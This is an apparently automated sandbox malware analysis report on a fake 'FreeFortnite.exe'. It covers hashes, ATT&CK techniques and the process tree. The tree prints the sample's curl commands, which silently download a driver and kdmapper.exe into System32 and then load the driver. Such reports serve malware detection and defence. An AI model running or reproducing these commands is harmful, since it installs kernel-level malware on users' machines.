9c0cbb73d45a95e15e2a90a4384157ae37db7d0610fdd4d8a6eda4ae05d2037b

Analysis

max time kernel
148s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/07/2026, 18:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
FreeFortnite.exe
Size 782KB
Sample260705-xdf9bse15w
SHA256 9c0cbb73d45a95e15e2a90a4384157ae37db7d0610fdd4d8a6eda4ae05d2037b
MD5 f7043545aef5ad4baec3b02c180d3a6e
SHA1 905513fd7c522989764677b1fb4af7055336e54f
SHA512 34851dd4b08becf021dcbb02a6556e813d70a98fdabd5fa266d39e8a50511e8d29c5e622a2002626e68b326e2f143f3fd76c82f27378ca7148b391829f862b96
SSDEEP 12288:fJXZzoakQxDW06VIRjA/gshZi9nmH8GdhyC6YLK2eoo:fFZzoak/pVIREVhZi9nG8Gdh+YW2
TLSH
T18805BF51F7F045B4C17BA13895A6AB1BEB3778480B2096DF63E405592FA37E08F76322
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
5032	kdmapper.exe

Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
86	raw.githubusercontent.com
21	discord.com
22	discord.com
24	discord.com
25	discord.com
33	discord.com
42	discord.com
52	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\kdmapper.exe	curl.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5420_1346900603\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5420_2027899799\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5420_908651943\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5420_908651943\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5420_1374454183\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5420_1374454183\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5420_1374454183\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5420_2027899799\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5420_1374454183\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1248	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134277506540635489"	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2639994890-966400312-4246138405-1000\{4E0617A5-4164-48D4-BB61-34A50CB1A68B}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2639994890-966400312-4246138405-1000\{C8AB052A-B3A8-450E-AF10-F8E0B191BB14}	msedge.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5032	kdmapper.exe
5032	kdmapper.exe
4308	msedge.exe
4308	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5420	msedge.exe

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 5924 wrote to memory of 5420	5924	FreeFortnite.exe	89
PID 5924 wrote to memory of 2392	5924	FreeFortnite.exe	90
PID 5420 wrote to memory of 4068	5420	msedge.exe	91
PID 5420 wrote to memory of 1284	5420	msedge.exe	93
PID 5420 wrote to memory of 1248	5420	msedge.exe	94
PID 5420 wrote to memory of 1284	5420	msedge.exe	93
PID 5420 wrote to memory of 1284	5420	msedge.exe	93
PID 5420 wrote to memory of 4768	5420	msedge.exe	95
PID 5420 wrote to memory of 4768	5420	msedge.exe	95
PID 5420 wrote to memory of 4516	5420	msedge.exe	96
PID 5420 wrote to memory of 4516	5420	msedge.exe	96
PID 5420 wrote to memory of 4516	5420	msedge.exe	96
PID 5420 wrote to memory of 1860	5420	msedge.exe	97
PID 5420 wrote to memory of 1860	5420	msedge.exe	97
PID 5420 wrote to memory of 1860	5420	msedge.exe	97
PID 5420 wrote to memory of 1576	5420	msedge.exe	98
PID 5420 wrote to memory of 5824	5420	msedge.exe	99
PID 5420 wrote to memory of 1576	5420	msedge.exe	98
PID 5420 wrote to memory of 1576	5420	msedge.exe	98
PID 5420 wrote to memory of 5824	5420	msedge.exe	99
PID 5420 wrote to memory of 5824	5420	msedge.exe	99
PID 5420 wrote to memory of 1548	5420	msedge.exe	101
PID 5420 wrote to memory of 1548	5420	msedge.exe	101
PID 5420 wrote to memory of 1548	5420	msedge.exe	101
PID 5420 wrote to memory of 5180	5420	msedge.exe	103
PID 5924 wrote to memory of 1488	5924	FreeFortnite.exe	105
PID 5924 wrote to memory of 3352	5924	FreeFortnite.exe	106
PID 3352 wrote to memory of 2580	3352	cmd.exe	108
PID 5420 wrote to memory of 1644	5420	msedge.exe	109
PID 5420 wrote to memory of 708	5420	msedge.exe	110
PID 5420 wrote to memory of 5424	5420	msedge.exe	111
PID 5420 wrote to memory of 1644	5420	msedge.exe	109
PID 5420 wrote to memory of 5316	5420	msedge.exe	112
PID 5420 wrote to memory of 5424	5420	msedge.exe	111
PID 5420 wrote to memory of 2168	5420	msedge.exe	113
PID 5420 wrote to memory of 5316	5420	msedge.exe	112
PID 5420 wrote to memory of 2168	5420	msedge.exe	113
PID 5420 wrote to memory of 5508	5420	msedge.exe	114
PID 5420 wrote to memory of 5508	5420	msedge.exe	114
PID 5420 wrote to memory of 4972	5420	msedge.exe	115
PID 5420 wrote to memory of 4972	5420	msedge.exe	115
PID 5924 wrote to memory of 3368	5924	FreeFortnite.exe	116
PID 3368 wrote to memory of 1652	3368	cmd.exe	117
PID 5924 wrote to memory of 5032	5924	FreeFortnite.exe	118
PID 5420 wrote to memory of 5968	5420	msedge.exe	120
PID 5420 wrote to memory of 2900	5420	msedge.exe	121
PID 5420 wrote to memory of 940	5420	msedge.exe	122
PID 5924 wrote to memory of 5188	5924	FreeFortnite.exe	123
PID 5924 wrote to memory of 260	5924	FreeFortnite.exe	124
PID 5924 wrote to memory of 2640	5924	FreeFortnite.exe	125
PID 5420 wrote to memory of 2496	5420	msedge.exe	126
PID 5420 wrote to memory of 2496	5420	msedge.exe	126
PID 5420 wrote to memory of 2976	5420	msedge.exe	130
PID 5420 wrote to memory of 2976	5420	msedge.exe	130
PID 5420 wrote to memory of 4560	5420	msedge.exe	131
PID 5420 wrote to memory of 4560	5420	msedge.exe	131
PID 5420 wrote to memory of 2072	5420	msedge.exe	132
PID 5420 wrote to memory of 2072	5420	msedge.exe	132
PID 5420 wrote to memory of 4308	5420	msedge.exe	133
PID 5420 wrote to memory of 4364	5420	msedge.exe	134
PID 5420 wrote to memory of 4364	5420	msedge.exe	134

C:\Users\Admin\AppData\Local\Temp\FreeFortnite.exe
"C:\Users\Admin\AppData\Local\Temp\FreeFortnite.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5924
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/bestcheat
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5420
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x320,0x7ff88772c188,0x7ff88772c194,0x7ff88772c1a0
    3⤵
    PID:4068
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1664,i,7957733340403868215,4568386234776696409,262144 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=2324 /prefetch:2
    3⤵
    PID:1284
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1836,i,4790274189721521596,16726252306354747430,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=2904 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1248
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2436,i,13166152246151880542,2972694596957861774,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:13
    3⤵
    PID:4768
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3580,i,2565760820277732958,3995647949716072480,2097152 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:1
    3⤵
    PID:4516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3584,i,8405798783986760765,9151148220877076125,2097152 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:1
    3⤵
    PID:1860
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4260,i,15622495199531897180,12965548623220494825,2097152 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:1
    3⤵
    PID:1576
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4272,i,16360211805073669659,11595298295064692957,2097152 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=4536 /prefetch:9
    3⤵
    PID:5824
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3716,i,11541119592768173817,5291884018925373064,2097152 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=3736 /prefetch:1
    3⤵
    PID:1548
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5932,i,7110397940274889768,9146363038349934862,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
    3⤵
    PID:6136
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5932,i,7110397940274889768,9146363038349934862,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
    3⤵
    PID:5180
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5492,i,6983142470425273699,460447385884601892,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:14
    3⤵
    PID:1644
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5620,i,11071946498744213202,17345440208956773835,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:14
    3⤵
    - Modifies registry class
    PID:708
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3696,i,13622465988068151761,10055110112358474540,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=3856 /prefetch:14
    3⤵
    PID:5424
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3732,i,2284520673769950163,6833587943777834887,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:14
    3⤵
    PID:5316
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5616,i,1841493632317785437,6471433041416256214,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=3836 /prefetch:12
    3⤵
    PID:2168
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3692,i,13246211270319480685,17334105285378211915,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=3808 /prefetch:14
    3⤵
    PID:5508
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6372,i,13012875992939369191,7462186439038606558,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=7048 /prefetch:14
    3⤵
    PID:4972
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3772,i,7452425593300117271,1271541392563202462,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=5156 /prefetch:14
    3⤵
    PID:5968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6004,i,7417795335007718216,10660909214303299638,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=5968 /prefetch:14
    3⤵
    PID:2900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5980,i,2814746993626435540,15585461210750939679,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=4572 /prefetch:14
    3⤵
    PID:940
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6644,i,10557732946527738624,1831970183665918451,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=4476 /prefetch:14
    3⤵
    PID:2496
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6732,i,12141003528150182682,457349420613367650,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=7228 /prefetch:14
    3⤵
    PID:2976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=936,i,8708325595880027302,16019481020035507248,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=6768 /prefetch:14
    3⤵
    PID:4560
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6256,i,10062988556046442696,17033095946890026871,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:14
    3⤵
    PID:2072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6792,i,13306410096787574872,9578254161460737390,262144 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4308
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5240,i,2763163076369767568,1920076221911620531,524288 --field-trial-handle=2856,i,5938269883115564469,15947399897389693078,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:14
    3⤵
    PID:4364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3352
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys
    3⤵
    PID:2580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3368
- - C:\Windows\system32\curl.exe
    curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe
    3⤵
    - Drops file in System32 directory
    PID:1652
- C:\Windows\System32\kdmapper.exe
  "C:\Windows\System32\kdmapper.exe" C:\Windows\System32\hobo.sys
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:5032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  PID:2640

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5364

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2468

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

828f1f85-8db5-4acc-896e-d4ceba8c318b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\828f1f85-8db5-4acc-896e-d4ceba8c318b.tmp
Size 38KB
SHA256 3dc7e1983ee3418fd2bc6d63130a079beaf746c8e7af2b7a8d030740570ff9a0
MD5 7c00c5dfcfba89fc2229f730c1a8109d
SHA1 060620a7e759396b7d0386f8f21ae79b1b780709
SHA512 00b6b89b7680e3cfb204309606bae1b5194c576b3a98d1d65adef66325930c32f0fad75659c2880ca1d228696686417ffc63969089c4fd781128014bcea0d302
SSDEEP 768:Orv+4UNbdp32c5THMcvnWgWWR+2SrXH78tRk4+8rr6F:Obsb/3nJPWg1bSro9Dr6
TLSH
T1E703BF32A8688D73DCF2D685B20A72437FF44193D6C91B88C4D91B4E429B9DE270BD67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 674d24008448b140a9b320032b4ed333cf5a592b073bf375c453c816d33c703b
MD5 b989ec4e221bd567659492bc1ad7ab3b
SHA1 372670805b3060960e77e6ba32a3b9edd0241cf0
SHA512 f6934e6a831bcac97110107a79389dae0e669b743e0d62e5b411c19471bf237f4d61c7cee27d9fcacbd7045cbe27e78b4e6c38f6e76ca789a7760295558b0bb3
TLSH
T1CBD0C0383E28F508C5402076E4504310E3238131742B8242B010F02DEC581810BDF0DF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 5e1a5fea1006889b9c3bcf0a470a6a4256d5300a4b7036038ddce5fd042c424c
MD5 e9af81b8f1175d007e2c699939cb3df6
SHA1 696178bffe86e4e363a26747d6a5cb80e28621ce
SHA512 38174d529846c50b0af9a056e65ca491645c3cbf1fb867ef22a3b7c7ee4287ba29c3a28d736bc2e9c562faa24bb671db3b9cc40507a467140e47eaa4aeae6d51
TLSH
T145D0C0343E38F408C540207AE4514310E3138131302B8242B010F03DEC581810BDE0CF
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 6KB
SHA256 8d4d234b674c10172eb472048f3294fca1936f9f6ea4b16e7a9156347ef0cdb9
MD5 48a9ca33fbbd879f4369925612481276
SHA1 82cebcfa42a92c42dbae183cda16a5c1c430b947
SHA512 2db18a3db8de9dc14bf6e6ffc8b797600bed0235aed03345c49a0247bbde0d38d06ce0e3dbd1810e8fe16c687fbfd6f7f2802cad4380c4111e62eb8a61fda243
